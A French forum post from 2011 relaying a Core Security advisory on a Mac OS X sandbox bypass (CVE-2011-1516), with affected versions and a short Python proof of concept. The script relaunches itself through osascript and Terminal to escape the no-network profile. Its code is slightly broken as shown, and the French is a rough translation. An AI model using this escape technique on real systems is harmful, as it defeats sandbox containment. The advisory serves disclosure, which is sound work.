Page 1 sur 1

Vulnérabilité dans Sandbox Mac OS X

MessagePosté: Dim 13 Nov 2011 08:43
par sniper3d
Les chercheurs de Core Security Technologies ont découvert un trou de sécurité qui pourrait permettre à quelqu'un de contourner les restrictions sandbox de l'application de Mac OS X.


1. Information

Titre: Apple OS X profils prédéfinis Sandbox Bypass
ID consultatif: CORE-2011-0919
URL consultatif: https://www.coresecurity.com/content/app ... box-bypass
Date de publication: 10/11/2011
Date de dernière mise à jour: 10/11/2011


2. Informations par vulnérabilité

Classe: panne de contrôle d'accès CWE-264
Impact: Exécution de code
Exploitable à distance: Oui
Exploitable localement: Aucun
Nom de CVE: CVE-2011-1516


3. Description de la vulnérabilité

Plusieurs des profils par défaut et pré définit ne sont pas correctement sécurisé.
Une application compromise hypothétiquement limitée par l'utilisation du profil sans réseau peuvent avoir accès aux ressources du réseau grâce à l'utilisation des événements Apple à invoquer l'exécution d'autres applications ne sont pas directement limité par la sandbox.

Il est à noter qu'un problème similaire a été rapporté par Charlie Miller dans son discours à Black Hat Japan 2008 [ 2 ]. Il a mentionné quelques procédés sandbox par défaut, ainsi que d'une méthode pour contourner la protection. Quelque temps après le discours, Apple a modifié les profils mentionnés en limitant l'utilisation d'événements Apple, mais ne modifient pas les profils génériques.

4. Paquets vulnérables

Apple Mac OS X 10.7.x
Apple Mac OS X 10.6.x
Apple Mac OS X 10.5.x


5. Paquets non vulnérables

Apple Mac OS X 10.4

import os
import sys
import socket

if len(sys.argv) != 2:
print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]

try:
targetIP = sys.argv[1]
s = socket.socket()
s.connect((targetIP, 80))
s.send('GET /\r\n\r\n')
print(s.recv(1024))
print "\n\n\n[+] Sandbox escaped"

except Exception, e:
if "Operation not permitted" in str(e): #print repr(e)
print "[-] Blocked by seatbelt"
print "[ ] Escaping..."
os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP)



Source